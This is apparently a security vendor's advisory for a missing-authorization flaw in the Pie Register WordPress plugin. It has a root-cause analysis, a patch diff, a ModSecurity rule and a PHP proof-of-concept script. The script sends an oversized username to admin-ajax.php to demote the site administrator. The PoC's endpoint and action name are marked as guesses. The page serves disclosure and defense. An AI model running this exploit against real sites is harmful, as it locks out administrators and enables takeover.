Published : November 19, 2026

CVE-2026-124217: Pie Register <= 3.8.4.17 Missing Authorization to Unauthenticated Administrator Role Modification via Oversized 'username' Parameter PoC, Patch Analysis & Rule

Plugin pie-register
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.8.4.17
Patched Version 3.8.4.18
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-124217: A missing authorization vulnerability in the Pie Register WordPress plugin, versions up to and including 3.8.4.17, allows unauthenticated attackers to overwrite the role of the site’s primary administrator (user ID 1) with a lower-privileged role. The flaw resides in the plugin’s registration handling, specifically in the function that processes form submissions. The CVSS score is 5.3 (Medium), and the CWE is 862 (Missing Authorization). Exploitation requires PHP 8 or later.

The root cause is the plugin’s failure to validate the return value of wp_insert_user() before using it as a user ID. In pie-register/pie-register.php around line 3889, after calling wp_insert_user($user_data), the code proceeds to use $user_id in subsequent role modification logic. When wp_insert_user() fails (e.g., due to an overly long username), it returns a WP_Error object. On PHP 8+, casting this object to an integer yields 1, which corresponds to the primary administrator’s user ID. The plugin then applies the registration form’s configured role to that ID, effectively demoting the administrator. The patch adds a check for is_wp_error($user_id) and returns early.

An unauthenticated attacker can exploit this by submitting a crafted registration request to the plugin’s registration form endpoint, likely via a POST to a page containing the Pie Register form. The attacker includes a username parameter that exceeds WordPress’s maximum length (60 characters), causing wp_insert_user() to return a WP_Error. Because the plugin does not check for this error before using the result, the role modification code targets user ID 1 and sets it to the role defined in the form settings (e.g., subscriber). The attacker does not need any authentication or special privileges.

The patch in version 3.8.4.18 adds an is_wp_error($user_id) check immediately after wp_insert_user(). If an error occurs, it adds the error message to the global $errors object and returns false, preventing further processing. This ensures that a failed user creation does not result in an erroneous user ID being used for role changes. The before behavior treated the WP_Error as user ID 1 on PHP 8+, while the after behavior aborts the registration flow.

Successful exploitation demotes the primary administrator to a lower-privileged role, locking them out of the WordPress admin dashboard. This can lead to a full site takeover if the attacker can register a new account with the configured role and then escalate privileges, or simply cause denial of service by locking out the legitimate administrator. The vulnerability is limited to sites running PHP 8 or later and using Pie Register with a registration form that assigns a role.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/pie-register/pie-register.php
+++ b/pie-register/pie-register.php
@@ -3,7 +3,7 @@
 Plugin Name: Pie Register - Basic
 Plugin URI: https://pieregister.com/
 Description: Create custom user registration forms, drag & drop form builder, send invitation codes, add conditional logic, 2-step authentication, assign user roles, accept payments and more!
-Version: 3.8.4.17
+Version: 3.8.4.18
 Author: Pie Register
 Author URI: https://pieregister.com/
 Text Domain: pie-register
@@ -3889,6 +3889,14 @@
 				$this->set_pr_stats("register", "used");
 				$user_id = wp_insert_user($user_data);

+				// Bail out if the account could not be created (e.g. username longer than WordPress allows);
+				// otherwise the error object would be treated as a user ID in the code that follows.
+				if (is_wp_error($user_id)) {
+					global $errors;
+					$errors->add("registration-error", $user_id->get_error_message());
+					return false;
+				}
+
 				$email_user_password = false;

 				if (empty($pass)) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-124217
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026124217,phase:2,deny,status:403,chain,msg:'CVE-2026-124217 via Pie Register AJAX registration',severity:'CRITICAL',tag:'CVE-2026-124217'"
  SecRule ARGS_POST:action "@streq pie_register" "chain"
    SecRule ARGS_POST:username "@rx ^.{61,}$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124217 - Pie Register <= 3.8.4.17 - Missing Authorization to Unauthenticated Administrator Role Modification via Oversized 'username' Parameter

// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Adjust to the actual registration endpoint
$form_action = 'pie_register'; // Likely action parameter, adjust based on plugin

// The oversized username (exceeds 60 characters) triggers WP_Error from wp_insert_user()
$username = str_repeat('A', 100);
$password = 'Password123!';
$email = 'attacker@example.com';

// Prepare POST data
$post_data = [
    'action' => $form_action,
    'username' => $username,
    'password' => $password,
    'email' => $email,
    // Additional required fields may be needed depending on form configuration
    'piereg_register' => '1',
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// After execution, the administrator (user ID 1) role should be changed to the role configured in the registration form.
// Verify by attempting to access wp-admin as admin; access should be denied.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.